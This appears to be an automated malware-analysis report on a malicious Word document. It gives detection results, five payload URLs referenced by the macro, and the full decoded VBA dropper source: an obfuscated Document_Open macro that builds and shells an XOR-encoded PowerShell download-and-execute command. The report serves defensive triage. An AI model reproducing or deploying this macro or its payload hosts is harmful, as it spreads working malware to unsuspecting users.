Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a06ab206c89a74a…

MALICIOUS

Office (OLE)

101.8 KB Created: 2018-06-14 18:16:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: f161d8b3886ec92775a9771e77a46f59 SHA-1: cdbe05e83c0f7779a8c41e08c4906ffa1db394cc SHA-256: 4a06ab206c89a74a5169a74cdf615a72746d9271bc4b8f7dc0976d98c2737aaa
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6599244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6599244-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ZfzGQv = 31004 + iKWpZ + (51721 * CDbl(DwLXN) - OuWibp / CSng(84431) - SUGKaJ / Hex(bmhVQS) + 62529 - 53833)
RLmhtzicNI = UqOzDKtBw + VBA.Shell(LcdBTJqX + Chr(CltPVBE + vbKeyP + nBlia) + "owers" + wPVnoEFLH + HwJoulS + fbGdV + ilOrocl + ZEGWb + ULXijOzCMuz, 28251 - 28251)
sPrzP = NtIzVu
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ipgce.com/bgj7/ Referenced by macro
    • http://www.justiclick.com/4BQZGe/Referenced by macro
    • http://scd.com.gt/OrWf/Referenced by macro
    • http://amazingmike.net/wbuK/Referenced by macro
    • http://generalgauffin.se/93uC/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16340 bytes
SHA-256: d50a1a9b28159b735a6b19cb93acac353aea84d0903d36cc051d901766e18214
Detection
ClamAV: No threats found
Obfuscation or payload: likely
267 of 422 identifiers look randomly generated (e.g. 'wFvpRXiJTDWtph') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wFvpRXiJTDWtph"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function RLmhtzicNI()
On Error Resume Next
lmEbR = kHtaAv
JULKjU = BCzMd - XQizJ / 36037 / WqacSU - 223327908 + Hex(CFTkj) * TTKud - Round(58201)
aWBwjk = Sqr(14698)
wXfBdJ = 38684 + isdAv + (70893 * CDbl(YJTJlb) - NvjYHR / CSng(38477) - OKdiG / Hex(OqbmuA) + 14400 - 90070)
XlrCu = HDGXw
AAmct = uiTVB - BLGMPC / 34101 / BCoZlQ - 223327908 + Hex(zwriTH) * CuwsR - Round(88123)
VpIpO = Sqr(87807)
SPUTt = 67596 + POBvjN + (62077 * CDbl(ADFkW) - zVlzYi / CSng(2841) - CviUL / Hex(rzAQL) + 71362 - 28881)
QjvJuN = OctnwN
WCYdV = TzAaiJ - irKot / 7217 / jWwIhF - 223327908 + Hex(kmikJ) * HbswQj - Round(55414)
JcLSm = Sqr(5341)
zMMrd = 58076 + lcmhiu + (17005 * CDbl(QWkXj) - VtPqDv / CSng(71619) - zvXuB / Hex(ijAoP) + 3683 - 59843)
mzOjs = ZSSXZ
MHLkd = pGYSQ - PiwRhb / 22064 / BzIhSs - 223327908 + Hex(UXoWw) * GwTzs - Round(97012)
YHRDVT = Sqr(13057)
ZfzGQv = 31004 + iKWpZ + (51721 * CDbl(DwLXN) - OuWibp / CSng(84431) - SUGKaJ / Hex(bmhVQS) + 62529 - 53833)
RLmhtzicNI = UqOzDKtBw + VBA.Shell(LcdBTJqX + Chr(CltPVBE + vbKeyP + nBlia) + "owers" + wPVnoEFLH + HwJoulS + fbGdV + ilOrocl + ZEGWb + ULXijOzCMuz, 28251 - 28251)
sPrzP = NtIzVu
jRLsLJ = LlFwJK - TcrCz / 21793 / OOuMGz - 223327908 + Hex(UWaDj) * lKdsvZ - Round(59835)
IDzJEM = Sqr(54959)
dwPwd = 34239 + NUijvS + (54387 * CDbl(jfToc) - kmFJRj / CSng(59681) - LXSbp / Hex(HjUUaN) + 3112 - 46380)
pIEPV = jUSCPR
rlptwb = UHOrJG - HHLCl / 74584 / Lkawd - 223327908 + Hex(Iitvil) * zjWaKl - Round(58877)
MpCMZV = Sqr(35939)
SCRfFM = 68911 + OisZTf + (19189 * CDbl(zGYjrZ) - pzkFV / CSng(99918) - YoRLT / Hex(MMqMv) + 32664 - 51461)
End Function
Private Sub Document_open()
On Error Resume Next
FhZQW = huAWj
GIOij = kYwON - bwwUt / 36830 / hpuiG - 223327908 + Hex(MDLPo) * oNVVii - Round(89132)
irPMt = Sqr(85758)
ffAOuT = 95595 + mNSNX + (58233 * CDbl(bllsA) - uGDAh / CSng(11941) - bntZu / Hex(wRjHf) + 83410 - 76346)
iLtkt = iLGkX
iQhXk = oOCsUH - YzRoi / 21528 / vTTTiU - 223327908 + Hex(jNjRu) * vRLKvK - Round(41509)
mjcTt = Sqr(59195)
tbKKL = 58181 + dWUZJ + (14650 * CDbl(YzGcT) - wIjWwJ / CSng(71783) - WBwbsS / Hex(NCKJAW) + 31772 - 77536)
RLmhtzicNI
wHHCJ = poSop
VtzKwl = PPpKGc - OFnzXJ / 73285 / paDafp - 223327908 + Hex(IwrjzH) * KbIdA - Round(82859)
jcttiC = Sqr(22614)
hJKwNo = 32283 + FBVba + (29716 * CDbl(GmGtT) - iwMLRY / CSng(2242) - uuscLJ / Hex(HOzGtz) + 16373 - 91691)
KzpJiN = FjfCIu
tNwXvt = JftEb - qpijI / 86569 / XPoZL - 223327908 + Hex(vlFJzK) * bnaOr - Round(81195)
frRts = Sqr(86282)
YHYGH = 70485 + qSXiq + (92525 * CDbl(MquIvw) - cNQwbr / CSng(5779) - MjoMP / Hex(TkXtGW) + 37981 - 59355)
End Sub


Attribute VB_Name = "cONMSrYbpNk"
Function wPVnoEFLH()
On Error Resume Next
MtAGXS = VESaw - rMjqTt / 41410 / CHNFT - 223327908 + Hex(iuwaV) * HEhij - Round(8363)
ONajS = Sqr(44607)
tUpcK = 57275 + ZOZtHo + (30294 * CDbl(vztoON) - NRKtIY / CSng(13977) - dHQbjp / Hex(DXdMGf) + 14868 - 97190)
ujsMCd = cPQoa
SzblIW = "HeLL " + " & ( $sHELlId" + "[1]+$ShEllI" + "D[13]+'X'" + ")( [St" + "RinG]::joiN" + "( '' ,([CHaR" + "[]] " + "(62 , 1"
WiczQm = PSfGzV - NsdHl / 23303 / jCYPjv - 223327908 + Hex(sXGYa) * GilRj - Round(34226)
jBwBV = Sqr(62844)
BoJmm = 1522 + MmbGr + (8051 * CDbl(fmfwHP) - PCuUH / CSng(88676) - rdNOO / Hex(ETuvvi) + 99331 - 47383)
GIHnFL = NBjkM
cizwujvkGdm = "16, 1" + "09 ,84" + " ,119 ," + " 86,88" + " ,58," + "39, 58 , 11" + "6 ,127"
TPpTf = GUBHMm - MtQVjk / 48897 / btNGYu - 223327908 + Hex(hjcSh) * sZQOnE - Round(51301)
rtfzIk = Sqr(3906)
imjDh = 64218 + PWuYiW + (8287 * CDbl(jGLaU) - OHmzNf / CSng(69469) - jELoG / Hex(Twhjwa) + 33632 - 14389)
icQbCD = TISuj
MvqUKKI = " ,109 " + ",55, 117,120" + ",112, 127 ," + "12"
TdRNvT = bkATRc - zYURMF / 29202 / bjBmzW - 223327908 + Hex(FXDjaA) * BnHUaF - Round(39030)
KPBKfP = Sqr(42982)
rWcNHz = 6371 + UftFrU + (39049 * CDbl(HvjwM) - aImfPD / CSng(35633) - DTFTA / Hex(oBjEX) + 55700 - 55003)
zTEUs = APdYzc
CSHHfJ = "1,11" + "0,58 ,104,123 " + ", " + "116,126, 117,11" + "9, " + "33 " + ",62 , 116 ,7" + "8 ,116 " + ", 86, 77 ,9"
DjwHUh = wvOUQ - pQzDE / 21192 / IBRJiQ - 223327908 + Hex(DPvGD) * iIaaMH - Round(33633)
KrFJE = Sqr(22191)
hLIVD = 93656 + cQkBZY + (44552 * CDbl(JriJHE) - qbNHBP / CSng(16706) - QMJYT / Hex(wwWIpu) + 85609 - 50494)
JKLkP = qODQNq
znqnr = "5 ,58, 39 ,58" + " , 116 ,127 ," + " 109 ,5" + "5 " + ",117 ,1" + "20 ,112," + "127" + " ," + " 121,110,58 ,7" + "3,99 ,"
KGARv = aFSsT - IEGFFp / 51584 / mEusPo - 223327908 + Hex(XYEvI) * EjuKE - Round(10087)
OSKBPo = Sqr(6907)
dCRoY = 7537 + EjzIQ + (52363 * CDbl(jqYrzt) - inqjF / CSng(21077) - JXuBKV / Hex(FIlnD) + 2530 - 73943)
aNbacF = trBEt
WZJoIci = "105 , 11" + "0 , " + "127,119 , 52" + ", 84,1" + "27, 110 ,52 "
vpdXZ = dziDa - MFbQFf / 83287 / tzljTH - 223327908 + Hex(WoUXaK) * NfRMz - Round(12740)
GNWCjo = Sqr(1180)
jGMHB = 13403 + CjNzLo + (7748 * CDbl(LvAkk) - GjjKXD / CSng(29647) - UIVvj / Hex(dhCCw) + 1603 - 60446)
ijUKhr = JMEvaN
BSMokpo = ",7" + "7 , 12" + "7 , 120 ,8" + "9, 11" + "8,115 ,1" + "27 ,116,110 ,"
zaZNl = zUVbm - WsEcU / 50360 / zYbsJb - 223327908 + Hex(XiQwZS) * QqVpO - Round(74670)
HlJoIE = Sqr(39477)
PwDuD = 34332 + GJJfzj + (1855 * CDbl(wwsjkZ) - YqIfUa / CSng(72070) - XWdowP / Hex(XIhLzv) + 29569 - 29569)
EYvao = BlGzBz
oFwiowph = " 33 ,62,8" + "7,94" + " ," + "108,104,86 ," + "58 ,39" + " ,58, 6" + "1,114 , 110," + "110,106, 32," + "53 ,53 ," + " 109"
wPVnoEFLH = SzblIW + cizwujvkGdm + MvqUKKI + CSHHfJ + znqnr + WZJoIci + BSMokpo + oFwiowph
End Function
Function HwJoulS()
On Error Resume Next
NuTFGW = jQYsM - vJVbc / 64636 / NiDStt - 223327908 + Hex(EWXjuE) * PzfaWz - Round(56821)
DTJzwN = Sqr(95443)
VnWhP = 73068 + BODYB + (37977 * CDbl(FBjmG) - BPhzYj / CSng(41582) - IBjcrw / Hex(cUnZck) + 66504 - 42267)
krcUdF = PhhTh
csqszfuLCB = " , 109, 109 ,5" + "2, 115," + " 106 , 12" + "5, 121 , 1" + "27,52,12" + "1, 117,119, 53" + " , 120,"
OvjJQ = XcmnK - qhkFWz / 11614 / mwOuu - 223327908 + Hex(XlhkLw) * jwSTwP - Round(10906)
rBocw = Sqr(95895)
jrAMMb = 10164 + srwHi + (61487 * CDbl(qAGkS) - SrcjZ / CSng(75877) - iBKOCI / Hex(FiOJWY) + 55428 - 37605)
LMpJTI = oWVjB
tbRdfAJnz = "125 ,112 , 45 " + ",53, 90, 114" + ", 110 , 1" + "10 , " + "106 , 32" + " ,53 , " + "53 ," + " 109,109 , 10" + "9 , 52 ," + "112,111 ,"
srhjrB = TwtHK - tKvKHj / 14443 / mXjLFa - 223327908 + Hex(rChpaX) * MQSmjW - Round(29899)
wETCp = Sqr(20530)
iShpPS = 56097 + vBcOtJ + (71198 * CDbl(lXjAE) - afjwV / CSng(69288) - lSiDww / Hex(kijzcU) + 80394 - 39737)
lWiNw = nGwScs
riSCSKQ = "105,11" + "0 , 115 ,121 ," + " 118 ,115 , " + "121,113 ," + "52, 121,1" + "17, 119, 53, 4" + "6 ,88,75, 64," + "93, 1" + "27 , 53 ,9" + "0 , 11"
jUfco = NftBY - MtTGMv / 40635 / plfQZk - 223327908 + Hex(GFDdNU) * lPMpJ - Round(65224)
IpiPa = Sqr(22180)
TwUmb = 50151 + uLRjLD + (97558 * CDbl(sUzlZl) - VjUOui / CSng(87475) - jXSjsS / Hex(zHwnGY) + 92116 - 92295)
jNflL = JIuIDF
vPEjIEifUIB = "4 ,110" + " ,1" + "10," + "106, 3" + "2, 53," + "53 , 10" + "5 ,1" + "21, 126 ," + " 52 , 121,117" + ",119,"
DCNwn = IpDFN - RdQcw / 68372 / cIjpsb - 223327908 + Hex(Xqhip) * qZZoNw - Round(99892)
cYkovi = Sqr(33963)
uoPCDX = 13719 + qXLQGH + (7679 * CDbl(WmnvZs) - QPAORW / CSng(71711) - Izdrb / Hex(nFKnpC) + 65073 - 78928)
QtFAKj = oiSUEV
UpzXkCf = "52,125, 110 " + ",53 ," + "85 ," + " 104, 77,124 ,5" + "3 , 90,114 " + ",110, 110" + ", 106 ,32 ,53 ,"
sucWOG = VwiXG - hilMLk / 97438 / WXAIqU - 223327908 + Hex(JqPKdC) * wBDmCh - Round(13166)
qRihZj = Sqr(90509)
pRUMV = 45850 + fSHVP + (73821 * CDbl(sEbPz) - iaKwrY / CSng(78853) - YiaqdZ / Hex(IFcsa) + 66855 - 43195)
CzmzU = bzHHsL
FBbJjqjz = "53 , 123,1" + "19 " + ",123, 96 ,115" + " ,116 ,125 ,11" + "9,115,113 ,127" + ",52 ,116,127 ," + " 110 ,53,109," + " 120,111" + " ,81,53 , 90,1" + "14 , 110 ,1"
fnurm = iZwzj - CvLnI / 20152 / LRazk - 223327908 + Hex(qGXDq) * JKsBi - Round(34438)
mSIDMM = Sqr(80524)
bOYlr = 22766 + TMdhz + (66533 * CDbl(IYhQsb) - psqLtM / CSng(41572) - KhWMZ / Hex(pNQqv) + 81252 - 46623)
rLPAIm = VOzwjV
CYwsEIRYZ = "10,106 ,32" + " , 53,5" + "3,125 , 1" + "27 ,116, 12" + "7,104 " + ",123 ,118,125 " + ",123 , 111" + ",12" + "4,124,115 , 1" + "16 , 52 , "
wizUit = ZWnihB - uoMzKc / 32937 / jNbfuL - 223327908 + Hex(wEwEH) * libTX - Round(63689)
UUjzf = Sqr(94310)
BsiAEp = 18125 + vPKWIw + (51293 * CDbl(JucVa) - zfaiB / CSng(58805) - uPQhv / Hex(QfswtI) + 97307 - 84354)
nTfqrv = FwqHV
zidLsOkTw = "105," + " 127,53 ,35 ,41" + " ," + " 111," + " 89 ,53 ,6" + "1,"
HwJoulS = csqszfuLCB + tbRdfAJnz + riSCSKQ + vPEjIEifUIB + UpzXkCf + FBbJjqjz + CYwsEIRYZ + zidLsOkTw
End Function
Function fbGdV()
On Error Resume Next
ZXcRCh = HBtwc - sINUJ / 3791 / NBzTH - 223327908 + Hex(XsSVAo) * uKOqXu - Round(3836)
nwXQZm = Sqr(34960)
Vzvms = 99646 + nTXjfc + (88544 * CDbl(JGlfmv) - WdjLoq / CSng(72583) - bGdklT / Hex(wjUZtz) + 6037 - 42544)
aFdQq = ZfXzV
dAmRQ = " 52," + " 73,106,118," + " 1" + "15, 110 ,50," + " 61 , 90 ,61" + ",51,33 ,62, 11" + "6 " + ", 96, 78, 109,9"
zAkEZO = wvZhOj - HDGiw / 5381 / ilHMUz - 223327908 + Hex(NJDPJV) * jTdzX - Round(24215)
LNzEnM = Sqr(89313)
VYXIK = 31720 + SpjsH + (77940 * CDbl(itWwP) - CwJtMO / CSng(82004) - EIZkEh / Hex(mqiNd) + 85071 - 81081)
RsFGt = uoJwQk
tNZjHoSba = "4 , 1" + "24 ," + " 58, 39,58,62" + ",116,109"
AjfGjZ = SaYSm - XDrroS / 53549 / kBDOnT - 223327908 + Hex(DrcHQc) * oLfNj - Round(81864)
YhNUVr = Sqr(2779)
QOcrFR = 96591 + lWREKj + (46302 * CDbl(diYqCQ) - wkYsaQ / CSng(22714) - zSXJUr / Hex(uFOCjh) + 86838 - 43859)
SDKbvF = wzEQr
iMajvtXlbn = " , 84 ," + "119 ," + "86,88," + " 52 ,116 ,127 "
RHnojl = wODnQj - AdidV / 12591 / ZFLZsH - 223327908 + Hex(OPBfzt) * nuCAIU - Round(69929)
NOOnm = Sqr(29641)
fcssG = 59383 + ivLVK + (28436 * CDbl(jMaml) - isddp / CSng(34974) - iNuhr / Hex(tIjmVa) + 22487 - 42699)
GIakwB = VdhZZv
NnjNQ = ",98, 11" + "0 , 50 , 43" + ", 54,58, " + "45, " + "47,35" + " ,43, 44," + "51, 33, "
ioOCk = YqGTLt - lUbQnP / 66997 / NiYuA - 223327908 + Hex(cScYI) * TXPXQ - Round(6838)
czBHi = Sqr(6859)
rBbOnd = 17131 + zCIRnY + (24907 * CDbl(bcNlMC) - YiDFSd / CSng(61674) - PqBElS / Hex(MiLzXP) + 58776 - 57953)
RmvpB = kjKQI
iqFWXX = "62, 96," + "76, 120, " + "123, 96, 95, 5" + "8 ,39, 58 , 62" + ",127, 116, 108"
kjfss = kVznzb - npMqlI / 97616 / sRuSI - 223327908 + Hex(QSEBi) * YGVKw - Round(57352)
OJBEvC = Sqr(8608)
UzRKp = 15845 + jvYiuC + (64480 * CDbl(OEDAk) - cETaUI / CSng(94081) - TtrFqq / Hex(FFhHT) + 86742 - 19921)
GVtEEl = QIYkT
uoziU = ",32 ,110,127" + ", 119, 106" + " ," + " 58, 49,58" + " , 61" + ", 70 , 61,58 ," + "49 ,58 ,62 " + ", " + "116, 96"
VBtcpI = lptMXa - ucDfT / 30649 / SNjbBV - 223327908 + Hex(WOilwo) * quhkF - Round(45385)
tdVMt = Sqr(115)
FzsRlZ = 68999 + TDulQM + (10978 * CDbl(TBsHAd) - jlzjq / CSng(59797) - crroJZ / Hex(DZZtQ) + 3305 - 16442)
VMIfu = RaTpNJ
WWctE = ", 7" + "8 ,109, 94 ,124" + ", 58 ,49 ,58" + " ,61, " + "52,127 , " + "98 ,127,"
wkMrZ = aiDUc - sfRPOK / 24159 / wpzvJ - 223327908 + Hex(bcCtY) * wCwNzU - Round(4937)
lcDvi = Sqr(91448)
nKAon = 77861 + bPaam + (62749 * CDbl(hVvNs) - jNfzTK / CSng(85146) - vzLMb / Hex(CkjwS) + 67524 - 49219)
jADihL = ASjakM
juBiOKuTc = "61," + "33" + ",12" + "4,117 , 104,"
zvcGU = vNKMir - mGJiwJ / 82465 / hHQBvL - 223327908 + Hex(tMipEt) * HKHizu - Round(27443)
iSitnq = Sqr(89414)
tWHlQ = 66463 + rzbKw + (93236 * CDbl(phEQtI) - ZqMXF / CSng(42937) - zIpDnO / Hex(jqbim) + 83016 - 19121)
bGdbp = jcTNpk
MYWkzat = " 127,123 " + ", 121 " + ",114," + " 50 ,62, " + "117, 9" + "2, 67 , 124" + ", 112,12" + "1, 58, 115 ," + " 116, 58,6" + "2 ,87 "
WHYFGH = RBUww - flpSfz / 46668 / fDUkl - 223327908 + Hex(DOWVAR) * ltiXN - Round(83464)
YfswMW = Sqr(69686)
PoLFYU = 4115 + wdomv + (90374 * CDbl(waNKvO) - hEjHT / CSng(65158) - BsIBG / Hex(TwCKis) + 88607 - 49106)
ZMSor = VKqhD
sWJJtpi = ", 94, 108," + "104 " + ",86, 51 , 97, " + "11" + "0 , " + "104 " + ", 99,97 , 6" + "2 , "
fbGdV = dAmRQ + tNZjHoSba + iMajvtXlbn + NnjNQ + iqFWXX + uoziU + WWctE + juBiOKuTc + MYWkzat + sWJJtpi
End Function
Function ilOrocl()
On Error Resume Next
OPUQpZ = MunHrm - SYhzC / 53863 / ZsdSDE - 223327908 + Hex(IloIO) * aNlXF - Round(29598)
BwowC = Sqr(93739)
rEDUUb = 34565 + iwviW + (88043 * CDbl(GvSIrJ) - iWHan / CSng(19649) - sodFo / Hex(piDsPO) + 82169 - 97637)
tdYzdL = tDijXL
jGVuErwAsvd = "116, " + "78, 1" + "16, 86,7" + "7, 95 ,52" + " , 94" + " ,117 ,10" + "9, 116" + " ,118 , 117 " + ",123,126 , 92"
MqpMG = ivfaV - JqkKwN / 85545 / bssPmn - 223327908 + Hex(wHJGv) * kwDcYk - Round(51484)
HVjfim = Sqr(94224)
roXqw = 73369 + MEIwz + (57193 * CDbl(jEnKun) - BbQWTq / CSng(79755) - iipItS / Hex(quZSul) + 73293 - 79276)
qwcGwM = jaHzz
SBfZEQElI = " ,115,118,127" + ", 50,62,117" + " , " + "92 ,67" + " ,124,1"
VDrHnc = ZqPaw - FRFsi / 46802 / RSbibN - 223327908 + Hex(YUjrIN) * dKrUC - Round(48124)
Qjtqq = Sqr(26598)
dTzZa = 37970 + foVTZ + (94134 * CDbl(uhhZd) - oEdiz / CSng(53183) - zOicp / Hex(UHcFD) + 96827 - 31289)
XPKQKT = kYhRu
Ujtzs = "12,121,5" + "2, 7" + "8,117 " + ", 73 ,110" + " ,104 , 1" + "15"
SGuXqK = cCYMW - bIiBYj / 70180 / HhGzT - 223327908 + Hex(MKoicG) * XVACsU - Round(66122)
OnprO = Sqr(54656)
dDbMja = 63710 + EGYRkc + (52682 * CDbl(OYczf) - flCbzi / CSng(50518) - jiqcua / Hex(inbrwd) + 61846 - 34794)
hmqczP = wdAMS
NKXbFSvppX = " ,116, 125," + "50 , 51,54, 58" + ",62,96 , 76, " + "120 " + ",12" + "3,96 , 95, 5" + "1,33 , 73, 1" + "10, 123 , 104 ," + " 1"
ilOrocl = jGVuErwAsvd + SBfZEQElI + Ujtzs + NKXbFSvppX
End Function
Function ZEGWb()
On Error Resume Next
nPpitR = icKlNO - lBorrW / 40698 / NMUrY - 223327908 + Hex(zVcoh) * ciZbT - Round(58698)
jjtZfS = Sqr(44828)
LZnYXS = 85417 + OqjQz + (7317 * CDbl(izjOCA) - HpquI / CSng(13990) - zPwOK / Hex(wMdUB) + 80705 - 63319)
oZQJYj = FoTir
pvzAKzW = "10, 55 ,74," + " 104" + ", 117 ," + "121,127 ,105" + ", 105,58,62 , 9" + "6, 76 ,120 , " + "123, 96 ,95,33" + " ,120"
POtuJ = WOVcZj - siAOw / 46633 / AGbiOh - 223327908 + Hex(wOYGY) * NZwmvq - Round(96378)
JImHJq = Sqr(31193)
BUbCdO = 2097 + olHhwj + (8203 * CDbl(DbNYMI) - SVHAj / CSng(31015) - EkoNj / Hex(AfvMSl) + 49208 - 20504)
vsrET = Iuskn
DpBWWHiETmV = " ," + " 10" + "4, 127,123 ," + " 113 " + ",33,103 , "
aDscT = UcvKZw - RbvmQ / 4957 / lEszF - 223327908 + Hex(JjjzK) * iCErMc - Round(45894)
lwmGz = Sqr(80962)
jWInK = 61880 + VXzwWB + (83681 * CDbl(TjNTH) - HCJSik / CSng(34162) - YbfuFE / Hex(QLcOOc) + 2971 - 96926)
wzIAi = QZmtL
TLCONStMG = "121,123 ,110," + " 121,114,9" + "7," + "109,104 " + ", 115,110 ,127 " + ", 55 "
ZTqzJ = CkWBTl - SMBiY / 97587 / dEREk - 223327908 + Hex(ffQjS) * ZDwMG - Round(45418)
GUEbn = Sqr(9042)
uRnVKv = 43405 + qotwz + (53179 * CDbl(VMkjK) - lhllot / CSng(5613) - aWjwUD / Hex(OjjRF) + 16211 - 51753)
qzSED = aiKCA
NXQHvhi = ", 114,117, " + "105 ,110, 58" + " , 62 ,69 ," + " 52,95, 98 " + ",121, 127, " + "106 , 110 " + ", 115 , " + "117,11" + "6,52,87"
ZEGWb = pvzAKzW + DpBWWHiETmV + TLCONStMG + NXQHvhi
End Function
Function ULXijOzCMuz()
On Error Resume Next
KwOuXS = WEOaA - wzImV / 56167 / ckBuo - 223327908 + Hex(wjoEwY) * jCBhq - Round(50529)
udpfW = Sqr(63502)
owtVB = 73537 + zEXTm + (67276 * CDbl(MMVzu) - iRtiu / CSng(3372) - Nzvkw / Hex(PbbKb) + 20940 - 39240)
hMzJQm = KkuSZ
zvIAozqiK = " , 127" + ",105, 10" + "5 ,123,12" + "5 , 127,33,1"
HjiLr = bWmAO - cYXITu / 27409 / RRbBr - 223327908 + Hex(wwLTr) * tXXXuR - Round(23710)
zfOQwt = Sqr(14660)
GZzUF = 94895 + pizQC + (60538 * CDbl(wwbvum) - XOFuia / CSng(68807) - UAniHd / Hex(ENkcUB) + 43336 - 44164)
qEWwAK = MvUDKt
GnMrnhwQHnT = "03,103" + " ) |fOREAch" + "-ob" + "JeCT {[CHaR" + "] ($_-" + "BXOR 0" + "x1a  )}"
vUEvmH = oBvFkF - UrJiUk / 61 / nQUQU - 223327908 + Hex(XAYzkL) * TrBnZi - Round(47404)
OrVSwY = Sqr(13182)
wzqHhU = 34896 + cKTInF + (8931 * CDbl(ANCha) - LjbsT / CSng(43309) - rFWow / Hex(ajPNwu) + 20568 - 62735)
JGiAIX = ZHGzC
qALuWSA = " )) )"
ULXijOzCMuz = zvIAozqiK + GnMrnhwQHnT + qALuWSA
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.